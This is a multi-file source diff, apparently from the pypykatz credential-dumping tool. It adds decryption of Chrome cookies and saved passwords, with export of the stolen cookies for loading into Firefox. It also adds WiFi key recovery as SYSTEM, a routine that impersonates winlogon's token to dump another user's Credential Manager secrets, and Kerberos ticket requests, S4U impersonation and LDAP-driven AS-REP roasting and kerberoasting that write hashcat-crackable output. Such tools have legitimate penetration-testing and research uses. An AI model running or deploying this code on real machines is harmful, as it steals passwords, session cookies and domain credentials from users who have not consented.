728 secrets = DPAPI.get_chrome_encrypted_secret(dbpaths[username]['cookies'], 'cookies')
689729 for host_key, name, path, encrypted_value in secrets['cookies']:
690730 if encrypted_value.startswith(b'v10'):
691731 nonce = encrypted_value[3:3+12]
692732 ciphertext = encrypted_value[3+12:-16]
693733 tag = encrypted_value[-16:]
694 cipher = AES_GCM(localstate_dec)
695 dec_val = cipher.decrypt(nonce, ciphertext, tag, auth_data=b'')
734 cipher = AES(localstate_dec, MODE_GCM, IV=nonce, segment_size = 16)
735 dec_val = cipher.decrypt(ciphertext, b'', tag)
696736 results['cookies'].append((dbpaths[username]['cookies'], host_key, name, path, dec_val ))
737 results['fmtcookies'].append(DPAPI.cookieformatter('https://' + host_key, name, path, dec_val))
697738 else:
698739 dec_val = self.decrypt_blob_bytes(encrypted_value)
699740 results['cookies'].append((dbpaths[username]['cookies'], host_key, name, path, dec_val ))
741 results['fmtcookies'].append(DPAPI.cookieformatter('https://' + host_key, name, path, dec_val))
700742
701743 if 'logindata' in dbpaths[username]:
702 secrets = DPAPI.get_chrome_encrypted_secret(dbpaths[username]['logindata'])
744 secrets = DPAPI.get_chrome_encrypted_secret(dbpaths[username]['logindata'], 'logindata')
703745 for url, user, enc_password in secrets['logins']:
704 password = self.decrypt_blob_bytes(enc_password)
705 results['logins'].append((dbpaths[username]['logindata'], url, user, password ))
706
746 if enc_password.startswith(b'v10'):
747 nonce = enc_password[3:3+12]
748 ciphertext = enc_password[3+12:-16]
749 tag = enc_password[-16:]
750 cipher = AES(localstate_dec, MODE_GCM, IV=nonce, segment_size = 16)
751 password = cipher.decrypt(ciphertext, b'', tag)
752 results['logins'].append((dbpaths[username]['logindata'], url, user, password))
753
754 else:
755 password = self.decrypt_blob_bytes(enc_password)
756 results['logins'].append((dbpaths[username]['logindata'], url, user, password))
707757
708758 return results
709759
767817 raise Exception('Failed to obtain SYSTEM privileges! Are you admin? Error: %s' % e)
768818
769819 for wificonfig in DPAPI.get_all_wifi_settings_live():
770 if 'enckey' in wificonfig and wificonfig['enckey'] != '':
771 wificonfig['key'] = self.decrypt_securestring_hex(wificonfig['enckey'])
772 yield wificonfig
820 yield self.decrypt_wifi_config_file_inner(wificonfig)
773821
774822 finally:
775823 pm.dropsystem()
824
825 def decrypt_wifi_config_file_inner(self, wificonfig):
826 if 'enckey' in wificonfig and wificonfig['enckey'] != '':
827 wificonfig['key'] = self.decrypt_securestring_hex(wificonfig['enckey'])
828 return wificonfig
829
830 def decrypt_wifi_config_file(self, configfile):
831 wificonfig = DPAPI.parse_wifi_config_file(configfile)
832 return self.decrypt_wifi_config_file_inner(wificonfig)
833
834 @staticmethod
835 def cookieformatter(host, name, path, content):
836 """This is the data format the 'Cookie Quick Manager' uses to load cookies in FireFox"""
837 return {
838 "Host raw": host, #"https://.pkgs.org/",
839 "Name raw": name, #"distro_id",
840 "Path raw": path, #"/",
841 "Content raw": content, # "196",
842 "Expires": "26-05-2022 21:06:29", # "12-05-2022 15:59:48",
843 "Expires raw": "1653591989", # "1652363988",
844 "Send for": "Any type of connection", #"Encrypted connections only",
845 "Send for raw": False, #"true",
846 "HTTP only raw": False, #"false",
847 "SameSite raw": "lax", #"lax",
848 "This domain only": False, #"Valid for subdomains",
849 "This domain only raw": False, #"false",
850 "Store raw": "firefox-default", #"firefox-default",
851 "First Party Domain": "", #""
852 }
853
854
776855
777856 # arpparse helper
778857 def prepare_dpapi_live(methods = [], mkf = None, pkf = None):
790869 if 'lsass' in methods and 'all' not in methods:
791870 dpapi.get_masterkeys_from_lsass_live()
792871
793 return dpapi
872 return dpapi
873
874 def main():
875 mkffile = '/mnt/hgfs/!SHARED/feature/masterkeyfile - 170d0d57-e0ae-4877-bab6-6f5af49d3e8e'
876 pvkfile = '/mnt/hgfs/!SHARED/feature/pvkfile - ntds_capi_0_fdf0c850-73d3-48cf-86b6-6beb609206c3.keyx.rsa.pvk'
877 dpapi = DPAPI()
878 dpapi.decrypt_mkf_with_pvk(mkffile, pvkfile)
879
880
881 if __name__ == '__main__':
882 main()
0 # Thank you!
1 # https://www.tiraniddo.dev/2021/05/dumping-stored-credentials-with.html
2
3 import tempfile
4 import os
5
6 from pypykatz import logger
7 from pypykatz.commons.winapi.local.function_defs.advapi32 import CredBackupCredentials
8 from pypykatz.commons.readers.local.process import Process, PROCESS_QUERY_LIMITED_INFORMATION
9 from pypykatz.commons.readers.local.common.privileges import enable_debug_privilege, RtlAdjustPrivilege
10 from pypykatz.commons.winapi.local.function_defs.advapi32 import SetThreadToken
11 from pypykatz.dpapi.functiondefs.dpapi import CryptUnprotectData
12 from pypykatz.dpapi.structures.credentialfile import CREDENTIAL_BLOB, CredentialFile
13
14
15 def dpapi_trustedcredman(target_pid, special_process = 'winlogon.exe', temp_file_path = None):
16 dec_data = None
17 try:
18 if temp_file_path is None:
19 tf = tempfile.NamedTemporaryFile(delete=False)
20 temp_file_path = tf.name
21 logger.debug('Temp file path: %s' % temp_file_path)
22 tf.close()
23
24 enable_debug_privilege()
25
26 ### opening winlogon and duplicating token, impersonating it, enabling SeTrustedCredmanAccessPrivilege
27 pwinlogon = Process(name = special_process, access = PROCESS_QUERY_LIMITED_INFORMATION, open = True)
28 winlogon_token = pwinlogon.duplicate_token()
29 SetThreadToken(winlogon_token)
30 RtlAdjustPrivilege(31, thread_or_process=True) #SeTrustedCredmanAccessPrivilege = 31
31
32
33 ### opening target process, getting handle on its token
34 puserprocess = Process(pid=target_pid, access = PROCESS_QUERY_LIMITED_INFORMATION, open = True)
35 puserprocess_token = puserprocess.get_process_token()
36
37 ### magic happens here
38 CredBackupCredentials(puserprocess_token, temp_file_path)
39
40 ### opening encrypted cerentials file and decrypting it
41 with open(temp_file_path, 'rb') as f:
42 dec_data = CryptUnprotectData(f.read())
43
44
45 ### parsing decrypted credfile
46 results = []
47 xf = CredentialFile.from_bytes(dec_data)
48 blobsdata = xf.data
49 if xf.unk == 2:
50 res = CREDENTIAL_BLOB.from_bytes(blobsdata)
51 results.append(res)
52 blobsdata = blobsdata[res.size:]
53 while len(blobsdata) > 0:
54 res = CREDENTIAL_BLOB.from_bytes(blobsdata)
55 results.append(res)
56 blobsdata = blobsdata[res.size:]
57
58 return dec_data, results, None
59 except Exception as e:
60 logger.debug('dpapi_trustedcredman err! %s' % e)
61 return dec_data, None, e
62 finally:
63 try:
64 os.unlink(temp_file_path)
65 logger.debug('Temp file removed')
66 except Exception as e:
67 logger.debug('Failed to remove temp file! %s' % str(e))
68 pass
1212
1313 from pypykatz.dpapi.constants import *
1414 from pypykatz.commons.win_datatypes import GUID
15 from pypykatz.crypto.unified.pkcs7 import unpad
15 from unicrypto.backends.pure.padding.pkcs7 import unpad
1616
1717
1818 class DPAPI_BLOB:
104104 derived_key = fixparity(derived_key)
105105
106106 cipher = ALGORITHMS_DATA[self.crypto_algorithm][1](derived_key[:ALGORITHMS_DATA[self.crypto_algorithm][0]],
107 mode=ALGORITHMS_DATA[self.crypto_algorithm][2], iv=b'\x00'*ALGORITHMS_DATA[self.crypto_algorithm][3])
108 cleartext = unpad(cipher.decrypt(self.data), cipher.block_size)
107 mode=ALGORITHMS_DATA[self.crypto_algorithm][2], IV=b'\x00'*ALGORITHMS_DATA[self.crypto_algorithm][3])
108 cleartext = unpad(cipher.decrypt(self.data), ALGORITHMS_DATA[self.crypto_algorithm][3])
109109
110110 # Calculate the different HMACKeys
111 hash_block_size = ALGORITHMS_DATA[self.hash_algorithm][1]().block_size
111 hash_block_size = ALGORITHMS_DATA[self.hash_algorithm][4]
112112 key_hash_2 = key_hash + b"\x00"*hash_block_size
113113 ipad = bytearray([i ^ 0x36 for i in bytearray(key_hash_2)][:hash_block_size])
114114 opad = bytearray([i ^ 0x5c for i in bytearray(key_hash_2)][:hash_block_size])
8989 else:
9090 t += '%s: %s \r\n' % (k, str(self.__dict__[k]))
9191 return t
92
93
92
93 class CREDBLOBTYPE(enum.Enum):
94 UNKNOWN = 0
95 GENERIC = 1
96 DOMAIN_PASSWORD = 2
97 DOMAIN_CERTIFICATE = 3
98 DOMAIN_VISIBLE_PASSWORD = 4
99 GENERIC_CERTIFICATE = 5
100 DOMAIN_EXTENDED = 6
101
94102 class CREDENTIAL_BLOB:
95103 """
96104 """
119127 self.unknown4 = None
120128
121129 self.attributes = []
130 self.type_pretty = None
122131
123132
124133
133142 sk.size = int.from_bytes(buff.read(4), 'little', signed = False)
134143 sk.unk0 = int.from_bytes(buff.read(4), 'little', signed = False)
135144 sk.type = int.from_bytes(buff.read(4), 'little', signed = False)
145 try:
146 sk.type_pretty = CREDBLOBTYPE(sk.type)
147 except:
148 sk.type_pretty = CREDBLOBTYPE.UNKNOWN
136149 sk.flags2 = int.from_bytes(buff.read(4), 'little', signed = False)
137150 sk.last_written = int.from_bytes(buff.read(8), 'little', signed = False)
138151 sk.unk1 = int.from_bytes(buff.read(4), 'little', signed = False)
180193
181194 def to_text(self):
182195 t = ''
196 t += 'type : %s (%s)\r\n' % (self.type_pretty.name, self.type)
183197 t += 'last_written : %s\r\n' % self.last_written
184198 if len(self.target) > 0:
185199 t += 'target : %s\r\n' % str(self.target)
44 #
55
66 import io
7 import enum
87 import sys
98
109 from pypykatz.dpapi.constants import *
126125 #print('temp_key : %s' % temp_key)
127126 crypt_key = temp_key[:ALGORITHMS_DATA[self.crypto_algorithm][0]]
128127 iv = temp_key[ALGORITHMS_DATA[self.crypto_algorithm][0]:][:ALGORITHMS_DATA[self.crypto_algorithm][3]]
129 cipher = ALGORITHMS_DATA[self.crypto_algorithm][1](crypt_key, mode = ALGORITHMS_DATA[self.crypto_algorithm][2], iv = iv)
128 cipher = ALGORITHMS_DATA[self.crypto_algorithm][1](crypt_key, mode = ALGORITHMS_DATA[self.crypto_algorithm][2], IV = iv)
130129
131130 cleartext = cipher.decrypt(self.data)
132131 key_dec = cleartext[-64:]
171170 self.credhist_length = None
172171 self.domainkey_length = None
173172
174 self.masterkey = None
175 self.backupkey = None
176 self.credhist = None
177 self.domainkey = None
173 self.masterkey:MasterKey = None
174 self.backupkey:MasterKey = None
175 self.credhist:CredHist = None
176 self.domainkey:DomainKey = None
178177
179178 @staticmethod
180179 def from_bytes(data):
33 # Tamas Jos (@skelsec)
44 #
55
6 import os
67 import base64
78 import platform
89 import argparse
1112 import traceback
1213
1314 from minikerberos.common.utils import print_table
15 from minikerberos.protocol.asn1_structs import KRB_CRED
1416 from pypykatz.commons.filetime import filetime_to_dt
1517 from pypykatz.commons.common import geterr
1618 from pypykatz.kerberos.kerberos import get_TGS, get_TGT, generate_targets, \
1820 del_ccache, roast_ccache, ccache_to_kirbi, kirbi_to_ccache
1921
2022 from pypykatz.kerberos.kirbiutils import parse_kirbi, format_kirbi, print_kirbi
23 from msldap.commons.factory import LDAPConnectionFactory
24 from minikerberos.common.spn import KerberosSPN
25 from minikerberos.common.creds import KerberosCredential
26
27
2128
2229 """
2330 Kerberos is not part of pypykatz directly.
113120 tgt_parser = kerberos_subparsers.add_parser('tgt', help = 'Fetches a TGT for a given user')
114121 tgt_parser.add_argument('url', help='user credentials in URL format. Example: "kerberos+password://TEST\\victim:[email protected]"')
115122 tgt_parser.add_argument('-o','--out-file', help='Output file to store the TGT in. CCACHE format.')
123 tgt_parser.add_argument('-e','--etype', type=int, default=None, help='Encryption type to be requested')
116124
117125 tgs_parser = kerberos_subparsers.add_parser('tgs', help = 'Fetches a TGS for a given service/user')
118126 tgs_parser.add_argument('url', help='user credentials in URL format')
119127 tgs_parser.add_argument('spn', help='SPN string of the service to request the ticket for')
120128 tgs_parser.add_argument('-o','--out-file', help='Output file to store the TGT in. CCACHE format.')
129 tgs_parser.add_argument('-e','--etype', type=int, default=None, help='Encryption type to be requested')
121130
122131 brute_parser = kerberos_subparsers.add_parser('brute', help = 'Bruteforcing usernames')
123132 brute_parser.add_argument('-d','--domain', help='Domain name (realm). This overrides any other domain spec that the users might have.')
127136 brute_parser.add_argument('targets', nargs='*', help = 'username or file with usernames(one per line). Must be in username@domain format, unless you specified --domain then only the username is needed.You can specify mutliple usernames or files separated by space')
128137
129138 asreproast_parser = kerberos_subparsers.add_parser('asreproast', help='asreproast')
139 asreproast_parser.add_argument('-l','--ldap', help='LDAP URL. Load targets via LDAP connection to the DC.')
130140 asreproast_parser.add_argument('-d','--domain', help='Domain name (realm). This overrides any other domain spec that the users might have.')
131141 asreproast_parser.add_argument('-e','--etype', type=int, default=23, help='Encryption type to be requested')
132142 asreproast_parser.add_argument('-o','--out-file', help='Output file to store the tickets in hashcat crackable format.')
133143 asreproast_parser.add_argument('address', help='Kerberos server IP/hostname')
134 asreproast_parser.add_argument('targets', nargs='*', help = 'username or file with usernames(one per line). Must be in username@domain format, unless you specified --domain then only the username is needed.You can specify mutliple usernames or files separated by space')
144 asreproast_parser.add_argument('-t', '--targets', nargs='*', help = 'username or file with usernames(one per line). Must be in username@domain format, unless you specified --domain then only the username is needed.You can specify mutliple usernames or files separated by space')
135145
136146 spnroast_parser = kerberos_subparsers.add_parser('spnroast', help = 'kerberoast/spnroast')
147 spnroast_parser.add_argument('-l','--ldap', help='LDAP URL. Load targets via LDAP connection to the DC.')
137148 spnroast_parser.add_argument('-d','--domain', help='Domain name (realm). This overrides any other domain spec that the users might have.')
138149 spnroast_parser.add_argument('-e','--etype', type=int, default=23, help='Encryption type to be requested')
139150 spnroast_parser.add_argument('-o','--out-file', help='Output file to store the tickets in hashcat crackable format.')
140 spnroast_parser.add_argument('url', help='user credentials in URL format')
141 spnroast_parser.add_argument('targets', nargs='*', help = 'username or file with usernames(one per line). Must be in username@domain format, unless you specified --domain then only the username is needed.You can specify mutliple usernames or files separated by space')
151 spnroast_parser.add_argument('url', help='user credentials in Kerberos URL format')
152 spnroast_parser.add_argument('-t', '--targets', nargs='*', help = 'username or file with usernames(one per line). Must be in username@domain format, unless you specified --domain then only the username is needed.You can specify mutliple usernames or files separated by space')
142153
143154 s4u_parser = kerberos_subparsers.add_parser('s4u', help = 'Gets an S4U2proxy ticket impersonating given user')
144155 s4u_parser.add_argument('url', help='user credentials in URL format')
247258 if args.outdir is not None:
248259 for luid in tickets:
249260 for ticket in tickets[luid]:
250 with open(args.outdir + 'ticket_%s.kirbi' % 'a', 'wb') as f:
261 try:
262 pt = KRB_CRED.load(ticket['Ticket']).native
263 name = '_'.join(pt['tickets'][0]['sname']['name-string'])
264 name = hex(int(luid)) + '_' + '@'.join([name, pt['tickets'][0]['realm']])
265 except:
266 name = hex(int(luid)) + '_' + os.urandom(4).hex()
267 with open(os.path.join(args.outdir, 'ticket_%s.kirbi' % name), 'wb') as f:
251268 f.write(ticket['Ticket'])
269
252270 else:
253271 for luid in tickets:
254272 if len(tickets[luid]) == 0:
260278
261279
262280 def run(self, args):
263 #raise NotImplementedError('Platform independent kerberos not implemented!')
264281
265282 if args.kerberos_module == 'tgt':
266 kirbi, filename, err = asyncio.run(get_TGT(args.url))
283 kirbi, err = asyncio.run(get_TGT(args.url, override_etype = args.etype))
267284 if err is not None:
268285 print('[KERBEROS][TGT] Failed to fetch TGT! Reason: %s' % err)
269286 return
275292 print_kirbi(kirbi)
276293
277294 elif args.kerberos_module == 'tgs':
278 tgs, encTGSRepPart, key, err = asyncio.run(get_TGS(args.url, args.spn))
295 tgs, encTGSRepPart, key, kirbi, err = asyncio.run(get_TGS(args.url, args.spn, override_etype = args.etype))
279296 if err is not None:
280297 print('[KERBEROS][TGS] Failed to fetch TGS! Reason: %s' % err)
281298 return
282299
283
284300 if args.out_file is not None:
285 pass
286 else:
287 print(tgs)
288 print(encTGSRepPart)
289 print(key)
301 with open(args.out_file, 'wb') as f:
302 f.write(kirbi.dump())
303 else:
304 print_kirbi(kirbi)
290305
291306 elif args.kerberos_module == 'brute':
292307 target_spns = generate_targets(args.targets, args.domain)
296311 return
297312
298313 elif args.kerberos_module == 'asreproast':
299 target_spns = generate_targets(args.targets, args.domain, to_spn = False)
314 if args.ldap is None:
315 target_spns = generate_targets(args.targets, args.domain, to_spn = False)
316 else:
317 target_spns, _ = asyncio.run(get_ldap_kerberos_targets(args.ldap, target_type = 'asrep'))
300318 _, err = asyncio.run(asreproast(args.address, target_spns, out_file = args.out_file, etype = args.etype))
301319 if err is not None:
302 print('[KERBEROS][ASREPROAST] Error while enumerating users! Reason: %s' % geterr(err))
320 print('[KERBEROS][ASREPROAST] Error! Reason: %s' % geterr(err))
303321 return
304322
305323 elif args.kerberos_module == 'spnroast':
306 target_spns = generate_targets(args.targets, args.domain, to_spn = True)
324 if args.ldap is None and args.targets is None:
325 raise Exception('Either LDAP URL or targets must be provided')
326 if args.ldap is None:
327 target_spns = generate_targets(args.targets, args.domain, to_spn = True)
328 else:
329 _, target_spns = asyncio.run(get_ldap_kerberos_targets(args.ldap, target_type = 'spn'))
307330 _, err = asyncio.run(spnroast(args.url, target_spns, out_file = args.out_file, etype = args.etype))
308331 if err is not None:
309 print('[KERBEROS][SPNROAST] Error while enumerating users! Reason: %s' % geterr(err))
332 print('[KERBEROS][SPNROAST] Error! Reason: %s' % geterr(err))
310333 return
311334
312335 elif args.kerberos_module == 's4u':
313 tgs, encTGSRepPart, key, err = asyncio.run(s4u(args.url, args.spn, args.targetuser, out_file = None))
314 if err is not None:
315 print('[KERBEROS][S4U] Error while enumerating users! Reason: %s' % geterr(err))
316 return
336 tgs, encTGSRepPart, key, kirbi, err = asyncio.run(s4u(args.url, args.spn, args.targetuser))
337 if err is not None:
338 print('[KERBEROS][S4U] Error! Reason: %s' % geterr(err))
339 return
340
341 if args.out_file is not None:
342 with open(args.out_file, 'wb') as f:
343 f.write(kirbi.dump())
344 else:
345 print_kirbi(kirbi)
317346
318347 elif args.kerberos_module == 'keytab':
319348 process_keytab(args.keytabfile)
332361
333362 elif args.kerberos_module == 'kirbi':
334363 if args.kirbi_module == 'parse':
335 parse_kirbi(args.kirbifile)
364 parse_kirbi(args.kirbifile)
365
366
367 def get_ldap_url(authmethod = 'ntlm', host = None):
368 from winacl.functions.highlevel import get_logon_info
369 info = get_logon_info()
370
371 logonserver = info['logonserver']
372 if host is not None:
373 logonserver = host
374
375 return 'ldap+sspi-%s://%s\\%s@%s' % (authmethod, info['domain'], info['username'], logonserver)
376
377 async def get_ldap_kerberos_targets(ldap_url, target_type = 'all', authmethod = 'ntlm', host = None):
378 if ldap_url == 'auto':
379 ldap_url = get_ldap_url(authmethod = authmethod, host = host)
380
381 msldap_url = LDAPConnectionFactory.from_url(ldap_url)
382 client = msldap_url.get_client()
383 _, err = await client.connect()
384 if err is not None:
385 raise err
386
387 domain = client._ldapinfo.distinguishedName.replace('DC=','').replace(',','.')
388 spn_users = []
389 asrep_users = []
390
391 if target_type == 'asrep' or target_type == 'all':
392 async for user, err in client.get_all_knoreq_users():
393 if err is not None:
394 raise err
395 cred = KerberosCredential()
396 cred.username = user.sAMAccountName
397 cred.domain = domain
398
399 asrep_users.append(cred)
400
401 if target_type == 'spn' or target_type == 'all':
402 async for user, err in client.get_all_service_users():
403 if err is not None:
404 raise err
405 cred = KerberosSPN()
406 cred.username = user.sAMAccountName
407 cred.domain = domain
408
409 spn_users.append(cred)
410
411 return asrep_users, spn_users
00
1 from pypykatz.kerberos.kirbiutils import parse_kirbi, print_kirbi
21 from pypykatz import logger
32 import os
43 import ntpath
54 import glob
6 import pprint
7 import platform
8 import datetime
9
10 from msldap.commons.url import MSLDAPURLDecoder
115
126 from minikerberos.security import KerberosUserEnum, APREPRoast, Kerberoast
13 from msldap.authentication.kerberos.gssapi import get_gssapi, GSSWrapToken, KRB5_MECH_INDEP_TOKEN
14 from minikerberos.common.url import KerberosClientURL, kerberos_url_help_epilog
7 from minikerberos.common.url import KerberosClientURL
158 from minikerberos.common.spn import KerberosSPN
169 from minikerberos.common.creds import KerberosCredential
1710 from minikerberos.common.target import KerberosTarget
1811 from minikerberos.common.keytab import Keytab
1912 from minikerberos.aioclient import AIOKerberosClient
20 from minikerberos.common.utils import TGSTicket2hashcat
21 from minikerberos.protocol.asn1_structs import AP_REQ, TGS_REQ, EncryptedData, KrbCredInfo, KRB_CRED, EncKDCRepPart
2213 from minikerberos.common.utils import print_table
2314 from minikerberos.common.ccache import CCACHE, Credential
15 from minikerberos.common.utils import tgt_to_kirbi
2416
2517
2618 def process_target_line(target, realm = None, to_spn = True):
130122
131123 cc.to_file(ccachefile)
132124
133 async def get_TGS(url, spn, out_file = None):
125 async def get_TGS(url, spn, out_file = None, override_etype = None):
134126 try:
135127 logger.debug('[KERBEROS][TGS] started')
128 if isinstance(override_etype, int):
129 override_etype = [override_etype]
130
136131 ku = KerberosClientURL.from_url(url)
137132 cred = ku.get_creds()
138133 target = ku.get_target()
143138 kcomm = AIOKerberosClient(cred, target)
144139 await kcomm.get_TGT()
145140 logger.debug('[KERBEROS][TGS] fetching TGS')
146 tgs, encTGSRepPart, key = await kcomm.get_TGS(spn)
141 tgs, encTGSRepPart, key = await kcomm.get_TGS(spn, override_etype=override_etype)
142
143 kirbi = tgt_to_kirbi(tgs, encTGSRepPart)
147144
148145 if out_file is not None:
149 kcomm.ccache.to_file(out_file)
146 with open(out_file, 'wb') as f:
147 f.write(kirbi.dump())
148
150149 logger.debug('[KERBEROS][TGS] done!')
151 return tgs, encTGSRepPart, key, None
152 except Exception as e:
153 return None, None, None, e
154
155 async def get_TGT(url):
150 return tgs, encTGSRepPart, key, kirbi, None
151 except Exception as e:
152 return None, None, None, None, e
153
154 async def get_TGT(url, override_etype = None):
156155 try:
157156 logger.debug('[KERBEROS][TGT] started')
157 if isinstance(override_etype, int):
158 override_etype = [override_etype]
158159 ku = KerberosClientURL.from_url(url)
159160 cred = ku.get_creds()
160161 target = ku.get_target()
164165
165166 kcomm = AIOKerberosClient(cred, target)
166167 logger.debug('[KERBEROS][TGT] fetching TGT')
167 await kcomm.get_TGT()
168
169 cred = kcomm.ccache.credentials[0]
170 kirbi, filename = cred.to_kirbi()
168 await kcomm.get_TGT(override_etype=override_etype)
171169
172 return kirbi, filename, None
173 except Exception as e:
174 return None, None, e
170 kirbi = tgt_to_kirbi(kcomm.kerberos_TGT, kcomm.kerberos_TGT_encpart)
171
172 return kirbi, None
173 except Exception as e:
174 return None, e
175175
176176 async def brute(host, targets, out_file = None, show_negatives = False):
177177 """
269269 except Exception as e:
270270 return None, e
271271
272 async def s4u(url, spn, targetuser, out_file = None):
272 async def s4u(url, spn, targetuser):
273273 try:
274274 logger.debug('[KERBEROS][S4U] Started')
275275 cu = KerberosClientURL.from_url(url)
284284 client = AIOKerberosClient(ccred, target)
285285 await client.get_TGT()
286286 logger.debug('[KERBEROS][S4U] Getting ST')
287 tgs, encTGSRepPart, key = await client.getST(target_user, service_spn)
287 res = await client.getST(target_user, service_spn)
288 tgs, encTGSRepPart, key = res
288289 else:
289290 logger.debug('[KERBEROS][S4U] Getting TGS via TGT from CCACHE')
290291 for tgt, key in ccred.ccache.get_all_tgt():
292293 logger.debug('[KERBEROS][S4U] Trying to get SPN with %s' % '!'.join(tgt['cname']['name-string']))
293294 client = AIOKerberosClient.from_tgt(target, tgt, key)
294295
295 tgs, encTGSRepPart, key = await client.getST(target_user, service_spn)
296 res = await client.getST(target_user, service_spn)
297 tgs, encTGSRepPart, key = res
296298 logger.debug('[KERBEROS][S4U] Sucsess!')
297299 except Exception as e:
298300 logger.debug('[KERBEROS][S4U] This ticket is not usable it seems Reason: %s' % e)
300302 else:
301303 break
302304
303 if out_file:
304 client.ccache.to_file(out_file)
305
306305 logger.debug('[KERBEROS][S4U] Done!')
307 return tgs, encTGSRepPart, key, None
308
309 except Exception as e:
310 return None, None, None, e
306 kirbi = tgt_to_kirbi(tgs, encTGSRepPart)
307 return tgs, encTGSRepPart, key, kirbi, None
308
309 except Exception as e:
310 return None, None, None, None, e
11 import datetime
22
33 from winacl.functions.highlevel import get_logon_info
4 from msldap.commons.url import MSLDAPURLDecoder
4 from msldap.commons.factory import LDAPConnectionFactory
55 from pypykatz.kerberos.functiondefs.asn1structs import InitialContextToken
66 from minikerberos.common.utils import TGSTicket2hashcat, TGTTicket2hashcat
77 from minikerberos.network.clientsocket import KerberosClientSocket
170170 token_handle = OpenProcessToken(process_handle)
171171 stats = GetTokenInformation_tokenstatistics(token_handle)
172172 CloseHandle(process_handle)
173 return stats['TokenId']
173 return stats['AuthenticationId']
174174
175175 def list_luids(self):
176176 self.available_luids = LsaEnumerateLogonSessions()
290290 logon = get_logon_info()
291291 domain = logon['domain']
292292 url = 'ldap+sspi-ntlm://%s' % logon['logonserver']
293 msldap_url = MSLDAPURLDecoder(url)
293 msldap_url = LDAPConnectionFactory.from_url(url)
294294 client = msldap_url.get_client()
295295 _, err = await client.connect()
296296 if err is not None:
55
66 from pypykatz import logger
77 import asyncio
8 import argparse
9 import logging
810
911 """
1012 LDAP is not part of pypykatz directly.
2729 self.keywords = ['ldap']
2830
2931 def add_args(self, parser, live_parser):
30 group = parser.add_parser('ldap', help='LDAP client. Use "help" instead of "-h" to get the available subcommands')
31 group.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked')
32 group.add_argument('url', help="LDAP connection string")
33 group.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.")
32 ldap_group = parser.add_parser('ldap', help='LDAP related commands')
33 ldap_subparsers = ldap_group.add_subparsers()
34 ldap_subparsers.required = True
35 ldap_subparsers.dest = 'ldap_module'
3436
35 live_group = live_parser.add_parser('ldap', help='LDAP (live) client. Use "help" instead of "-h" to get the available subcommands', epilog=msldap_epilog)
36 live_group.add_argument('--host', help= 'Specify a custom logon server.')
37 live_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'ntlm', help= 'Authentication method to use during login')
38 live_group.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked')
39 live_group.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.")
37 ldap_client_group = ldap_subparsers.add_parser('client', help='LDAP client. Use "help" instead of "-h" to get the available subcommands')
38 ldap_client_group.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked')
39 ldap_client_group.add_argument('url', help="LDAP connection string")
40 ldap_client_group.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.")
41
42
43 live_subcommand_parser = argparse.ArgumentParser(add_help=False)
44 live_ldap_subparsers = live_subcommand_parser.add_subparsers(help = 'LIVE LDAP commands work under the current user context.')
45 live_ldap_subparsers.required = True
46 live_ldap_subparsers.dest = 'liveldapcommand'
47
48 live_client_parser = live_ldap_subparsers.add_parser('client', help='LDAP (live) client. Use "help" instead of "-h" to get the available subcommands', epilog=msldap_epilog)
49 live_client_parser.add_argument('--host', help= 'Specify a custom logon server.')
50 live_client_parser.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'ntlm', help= 'Authentication method to use during login')
51 live_client_parser.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked')
52 live_client_parser.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.")
53
54 live_group = live_parser.add_parser('ldap', help='LDAP (live) commands', parents=[live_subcommand_parser])
55
4056
4157 def execute(self, args):
4258 if args.command in self.keywords:
4763
4864
4965 def run_live(self, args):
66 from msldap import logger as ldaplogger
5067 from msldap.examples.msldapclient import amain
5168 from winacl.functions.highlevel import get_logon_info
5269 info = get_logon_info()
5572 if args.host is not None:
5673 logonserver = args.host
5774
58 la = LDAPCMDArgs()
59 la.url = 'ldap+sspi-%s://%s\\%s@%s' % (args.authmethod, info['domain'], info['username'], logonserver)
60 la.verbose = args.verbose
75 ldap_url = 'ldap+sspi-%s://%s\\%s@%s' % (args.authmethod, info['domain'], info['username'], logonserver)
6176
62 if args.verbose > 1:
63 print('Using the following auto-generated URL: %s' % la.url)
64 if args.commands is not None and len(args.commands) > 0:
65 la.commands = []
66 if args.commands[0] == 'help':
67 la.commands = ['help']
68 else:
69 if args.commands[0] != 'login':
70 la.commands.append('login')
71
72 for command in args.commands:
73 la.commands.append(command)
77 if args.verbose == 0:
78 ldaplogger.setLevel(100)
79 elif args.verbose == 1:
80 print('Using the following auto-generated URL: %s' % ldap_url)
81 ldaplogger.setLevel(level=logging.INFO)
82 else:
83 level = 5 - args.verbose
84 ldaplogger.setLevel(level=level)
7485
75 asyncio.run(amain(la))
86 if args.liveldapcommand == 'client':
87 la = LDAPCMDArgs()
88 la.url = ldap_url
89 la.verbose = args.verbose
90
91 if args.commands is not None and len(args.commands) > 0:
92 la.commands = []
93 if args.commands[0] == 'help':
94 la.commands = ['help']
95 else:
96 if args.commands[0] != 'login':
97 la.commands.append('login')
98
99 for command in args.commands:
100 la.commands.append(command)
101
102 asyncio.run(amain(la))
103
76104
77105 def run(self, args):
78106 from msldap.examples.msldapclient import amain
79 la = LDAPCMDArgs()
80 la.url = args.url
81 la.verbose = args.verbose
82 if args.commands is not None and len(args.commands) > 0:
83 la.commands = []
84 if args.commands[0] == 'help':
85 la.commands = ['help']
86 else:
87 if args.commands[0] != 'login':
88 la.commands.append('login')
89
90 for command in args.commands:
91 la.commands.append(command)
92107
93 asyncio.run(amain(la))
108 if args.ldap_module == 'client':
109 la = LDAPCMDArgs()
110 la.url = args.url
111 la.verbose = args.verbose
112 if args.commands is not None and len(args.commands) > 0:
113 la.commands = []
114 if args.commands[0] == 'help':
115 la.commands = ['help']
116 else:
117 if args.commands[0] != 'login':
118 la.commands.append('login')
119
120 for command in args.commands:
121 la.commands.append(command)
122
